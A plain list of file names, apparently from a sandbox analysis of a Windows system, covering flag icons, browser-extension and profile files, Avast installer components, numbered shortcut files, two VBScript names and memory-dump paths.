cx.svg
cy.svg
cz.svg
de.svg
dj.svg
dk.svg
dm.svg
do.svg
dz.svg
ec.svg
ee.svg
eg.svg
er.svg
es-ce.svg
es-cn.svg
es-ml.svg
es.svg
et.svg
eu.svg
fi.svg
fj.svg
fk.svg
fm-ksa.svg
fm-pni.svg
fm-trk.svg
fm-yap.svg
fm.svg
fo.svg
fr.svg
ga.svg
gb-eng.svg
gb-nir.svg
gb-sct.svg
gb-wls.svg
gd.svg
ge-ab.svg
ge-aj.svg
ge.svg
gf.svg
gg.svg
gh.svg
gi.svg
gl.svg
gm.svg
gn.svg
gq.svg
gr.svg
gs.svg
gt.svg
gu.svg
gy.svg
hk.svg
hn.svg
hr.svg
ht.svg
hu.svg
id.svg
ie.svg
il.svg
im.svg
in.svg
io.svg
iq.svg
ir.svg
is.svg
it.svg
je.svg
jm.svg
jo.svg
jp.svg
ke.svg
kg.svg
kh.svg
ki.svg
km.svg
kn.svg
kp.svg
kr.svg
kw.svg
ky.svg
kz.svg
la.svg
lb.svg
lc.svg
li.svg
lk.svg
lr.svg
ls.svg
lt.svg
lu.svg
lv.svg
ly.svg
ma.svg
mc.svg
md.svg
me.svg
mg.svg
mh.svg
mk.svg
ml.svg
mm.svg
mn.svg
mo.svg
mp.svg
mr.svg
ms.svg
mt.svg
mu.svg
mv.svg
mw.svg
mx.svg
my.svg
mz.svg
na.svg
nc.svg
ne.svg
nf.svg
ng.svg
ni.svg
nl-bq2.svg
nl-bq3.svg
nl.svg
no.svg
np.svg
nr.svg
nu.svg
nz.svg
om.svg
pa.svg
pe.svg
pf.svg
pg.svg
ph.svg
pk.svg
pl.svg
pn.svg
pr.svg
ps.svg
pt-30.svg
pt.svg
pw.svg
py.svg
qa.svg
re.svg
ro.svg
rs.svg
ru.svg
rw.svg
sa.svg
sb.svg
sc.svg
sd.svg
se.svg
sg.svg
sh-ta.svg
sh.svg
si.svg
sk.svg
sl.svg
sm.svg
sn.svg
so.svg
sr.svg
ss.svg
st.svg
sv.svg
sx.svg
sy.svg
sz.svg
tc.svg
td.svg
tg.svg
th.svg
tj.svg
tk.svg
tl.svg
tm.svg
tn.svg
to.svg
tr.svg
tt.svg
tv.svg
tw.svg
tz-eaz.svg
tz.svg
ua.svg
ug.svg
us.svg
uy.svg
uz.svg
va.svg
vc.svg
ve.svg
vg.svg
vn.svg
vu.svg
wf.svg
ws.svg
xk.svg
ye.svg
za.svg
zm.svg
zw.svg
icon128.png
icon16-active.png
icon16.png
icon19-active.png
icon19.png
icon24-active.png
icon24.png
icon256.png
icon32-active.png
icon32.png
icon38-active.png
icon38.png
icon48.png
icon64.png
info.svg
ipInfo.svg
lock.svg
markerGreen.svg
markerOrange.svg
markerRed.svg
offline.svg
processing.svg
sl.svg
upgrade.svg
warning.svg
background.js
manifest.json
messages.json
verified_contents.json
options.bundle.js.LICENSE.txt
data_0
data_1
data_2
data_3
MANIFEST-000001
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
TransportSecurity
Preferences
Preferences
Preferences
Preferences~RFe5c4a7e.TMP
Secure Preferences
Secure Preferences
the-real-index
the-real-index
the-real-index~RFe5c7518.TMP
CURRENT
b2de093f-af4e-4850-9d0c-29893d709a9a.tmp
download_file_types.pb
Local State
Local State
Local State
Local State
Local State
Local State~RFe5c4667.TMP
privacy-sandbox-attestations.dat
settings.dat
settings.dat
f_00001f
f_000022
the-real-index
Network Persistent State
Network Persistent State
Preferences
Preferences
Preferences
Preferences
TransportSecurity
TransportSecurity
TransportSecurity~RFe591bac.TMP
CURRENT
Local State
Local State
Local State
Local State
Local State
activity-stream.discovery_stream.json
09825c82-628b-4e41-8020-cc69431487fb.tmp
3ac53a53-290b-4ef3-a4fd-f0facec04976.tmp
6253a727-b96e-49d8-adeb-d800a5abed65.tmp
7ba7c38e-56a9-4842-89b9-bf94c49f0976.tmp
9b6d762c-dc9e-4476-844c-cd251d3955ba.tmp
a88f8705-f315-4e0e-9f6d-2abe4902f119.tmp
app8afa7dac05379fd8.tmp
app9903754d2c7c9c3a.tmp
c35b654a-4cc5-4697-b859-758543a235f2.tmp
c8777cff-7388-469d-b175-beb6e5421290.tmp
d658918b-137c-4af0-bdbe-7f482bae9d8a.tmp
AccessControl.dll
AvastBrowserUpdateSetup.exe
CR.History.tmp
CR.History.tmp
FF.places.tmp
JsisPlugins.dll
Midex.dll
StdUtils.dll
jsis.dll
nsJSON.dll
thirdparty.dll
messages.json
app.html
options.css
KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2
KFOlCnqEu92Fr1MmEU9fBBc4.woff2
KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2
KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2
KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2
KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2
KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2
KFOlCnqEu92Fr1MmSU5fBBc4.woff2
KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2
KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2
KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2
KFOmCnqEu92Fr1Mu4WxKOzY.woff2
KFOmCnqEu92Fr1Mu4mxK.woff2
KFOmCnqEu92Fr1Mu5mxKOzY.woff2
KFOmCnqEu92Fr1Mu72xKOzY.woff2
KFOmCnqEu92Fr1Mu7GxKOzY.woff2
KFOmCnqEu92Fr1Mu7WxKOzY.woff2
KFOmCnqEu92Fr1Mu7mxKOzY.woff2
icon_128.png
icon_16.png
icon_32.png
icon_48.png
ai_chat.png
arrow.png
conversation_logo.gif
conversation_logo.png
genie.png
messages.png
ai_chat.bundle.js.LICENSE.txt
gb.svg
5a888cbd-d75b-4e00-80ce-8a8ec50bf189.tmp
messages.json
icon_16.png
634bb72b-b48f-4528-b300-9c9a3b7ed0d5.tmp
contentScript.js
fonts.css
messages.json
content.bundle.js
fpattr.bundle.js
options.bundle.js
icon16.png
icon.png
icon.svg
webstore.js
messages.json
content.css
be3480f96b56f0a5fbf69a1cce891c70.svg
content.js
index
the-real-index
the-real-index~RFe5ef74e.TMP
Avast Secure Browser.lnk
AlternateServices.bin
data.safe.tmp
data.safe.tmp
data.safe.tmp
22bde864-f7d6-44b3-97e5-1c2087dd8db7
68361566-a80a-41d2-8b2b-a7717fecea48
cc126864-914b-41c7-889b-c17bf4a5f3f1
e2b54f2d-5b74-4ffd-bb2b-4ea65b98a50c
prefs-1.js
prefs.js
prefs.js
00011252.exe.LNK
00012198.exe.LNK
000123102.exe.LNK
00012741.exe.LNK
000138134.exe.LNK
00014878.exe.LNK
00015713.exe.LNK
00016058.exe.LNK
0001617.exe.LNK
0003619.exe.LNK
000399.exe.LNK
0005820.exe.LNK
01010070.exe.LNK
0101074.exe.LNK
010108105.exe.LNK
01013448.exe.LNK
010142141.exe.LNK
01014646.exe.LNK
01015172.exe.LNK
010170120.exe.LNK
01017218.exe.LNK
01019975.exe.LNK
010225.exe.LNK
0102821.exe.LNK
01030.exe.LNK
0105412.exe.LNK
0105717.exe.LNK
010664.exe.LNK
0106811.exe.LNK
0107914.exe.LNK
0108262.exe.LNK
01085.exe.LNK
010964.exe.LNK
02012943.exe.LNK
02015487.exe.LNK
020165.exe.LNK
02016526.exe.LNK
02016753.exe.LNK
0204614.exe.LNK
04011724.exe.LNK
060133.exe.LNK
060773.exe.LNK
0705246.exe.LNK
0709410.exe.LNK
090188116.exe.LNK
09019788.exe.LNK
0903324.exe.LNK
CompareOpen.vssm.vbs
Unconfirmed 212473.crdownload
gcapi.dll
sh.vbs
securebrowser_setup.exe
asw2e39e20480745498.ini
aswceb5808cdc09f909.ini
aswceb5808cdc09f909.ini
avbugreport_x64_ais-a45.vpx
avdump_x64_ais-a45.vpx
config.def
config.def
config.ini
instcont_x64_ais-a45.vpx
instup_x64_ais-a45.vpx
offertool_x64_ais-a45.vpx
part-jrog2-1529.vpx
part-vps_windows-24072602.vpx
prod-pgm.vpx
prod-vps.vpx
sbr_x64_ais-a45.vpx
servers.def
servers.def.vpx
setgui_x64_ais-a45.vpx
uat64.dll
memory/6212-12148-0x00007FFC3A750000-0x00007FFC3A751000-memory.dmp
memory/6492-11839-0x00007FFC3A4C0000-0x00007FFC3A4C1000-memory.dmp
memory/6492-11840-0x00007FFC3A140000-0x00007FFC3A141000-memory.dmp